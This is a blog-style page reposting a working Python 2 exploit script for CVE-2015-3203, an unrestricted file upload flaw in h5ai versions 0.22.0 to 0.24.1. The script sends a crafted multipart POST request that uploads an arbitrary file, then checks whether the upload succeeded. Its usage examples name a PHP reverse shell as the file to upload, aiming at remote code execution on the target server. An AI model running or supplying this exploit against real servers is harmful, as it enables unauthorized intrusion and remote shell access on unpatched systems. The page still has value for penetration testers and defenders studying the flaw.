Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863102742

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python

# Exploit Title: h5ai < 0.25.0 Unrestricted File Upload
# Date: 21 September 2015
# Exploit Author: rTheory
# Vendor Homepage: https://larsjung.de/h5ai/
# Vulnerable Software Link: https://web.archive.org/web/20140208063613/http://release.larsjung.de/h5ai/h5ai-0.24.0.zip
# Vulnerable Versions: 0.22.0 - 0.24.1
# Tested on: 0.24.0 running on Apache
# CVE : 2015-3203

import urllib
import urllib2
import socket
import os
import getopt
import sys

# Globals with default options
url = ''
path = '/'
fileName = ''
filePath = ''
verboseMode = False

def header():
    print '+-----------------------------------------------+'
    print '| File upload exploit for h5ai v0.22.0 - 0.24.1 |'
    print '|  See CVE-2015-3203 for vulnerability details  |'
    print '+------------------- rTheory -------------------+'

def usage():
    print 
    print 'Usage: %s -t target_url -f upload_file' % os.path.basename(__file__)
    print '-t --target           - The URL to connect to'
    print '                        ex: http://example.com'
    print '-f --file             - The file to upload'
    print '                        ex: php-reverse-shell.php'
    print '-p --path             - The path to upload to'
    print '                        Default is \'/\''
    print '-v --verbose          - Enable more verbose output'
    print 
    print 'Examples:'
    print '%s -t http://example.com:8080 -f php-reverse-shell.php' % os.path.basename(__file__)
    print '%s -t http://192.168.1.100 -f php-reverse-shell.php -p /dir/' % os.path.basename(__file__)
    sys.exit(0)
    
def main():
    global url
    global path
    global fileName
    global filePath
    global verboseMode
    
    header()
    
    if not len(sys.argv[4:]):
        print '[-] Incorrect number of arguments'
        usage()
        
    try:
        opts, args = getopt.getopt(sys.argv[1:],"ht:f:p:v", ["help","target","file","path","verbose"])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ('-h','--help'):
            usage()
        elif o in ('-t','--target'):
            url = a
        elif o in ('-f','--file'):
            fileName = a
        elif o in ('-p','--path'):
            path = a
        elif o in ('-v','--verbose'):
            verboseMode = True
        else:
            assert False,"Unhandled Option"
        
    # Test target URL, target file, and path inputs for validity
    if not url.startswith('http'):
        print '[-] Error: Target URL must start with http:// or https://'
        usage()
    if not os.path.isfile(fileName):
        print '[-] Error: File does not appear to exist'
        usage()
    if not (path.startswith('/') and path.endswith('/')):
        print '[-] Error: Path must start and end with a \'/\''
        usage()
    
    # Determine target host, which is the URL minus the leading protocol
    if url.find('http://') != -1:
        host = url[7:]
    elif url.find('https://') != -1:
        host = url[8:]
    else:
        host = url
    
    # Store the contents of the upload file into a string
    print '[+] Reading upload file'
    f = open(fileName,'r')
    fileContents = f.read()
    f.close()
    
    MPFB = 'multipartformboundary1442784669030' # constant string used for MIME info

    # Header information. Content-Length not needed.
    http_header = {
        "Host" : host,
        "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
        "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language" : "en-us,en;q=0.5",
        "Accept-Encoding" : "gzip, deflate",
        "Content-type" : "multipart/form-data; boundary=------" + MPFB,
        "X-Requested-With" : "XMLHttpRequest",
        "Referer" : url + path, 
        "Connection" : "keep-alive"
    }

    # POST parameter for file upload
    payload  = '--------'+MPFB+'\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n'
    payload += '--------'+MPFB+'\r\nContent-Disposition: form-data; name="href"\r\n\r\n'+path+'\r\n'
    payload += '--------'+MPFB+'\r\nContent-Disposition: form-data; name="userfile"; filename="'+fileName+'"\r\nContent-Type: \r\n\r\n'+fileContents+'\r\n'
    payload += '--------'+MPFB+'--\r\n'

    socket.setdefaulttimeout(5)
    opener = urllib2.build_opener()
    req = urllib2.Request(url, payload, http_header)

    # submit request and print output. Expected: "code 0"
    try:
        print '[+] Sending exploit POST request'
        res = opener.open(req)
        html = res.read()
        if verboseMode: print '[+] Server returned: ' + html
    except:
        print '[-] Socket timed out, but it might still have worked...'

    # close the connection
    opener.close()

    # Last step: check to see if the file uploaded (performed outside of this function)
    filePath = url + path + fileName
    print '[+] Checking to see if the file uploaded:'
    print '[+] ' + filePath 

def postCheck():
    # Check to see if the file exists
    # This may work now that everything from main() was torn down
    global filePath
    try:
        urllib2.urlopen(filePath)
        print '[+] File uploaded successfully!'
    except urllib2.HTTPError, e:
        print '[-] File did not appear to upload'
    except urllib2.URLError, e:
        print '[-] File did not appear to upload'
    
main()
postCheck()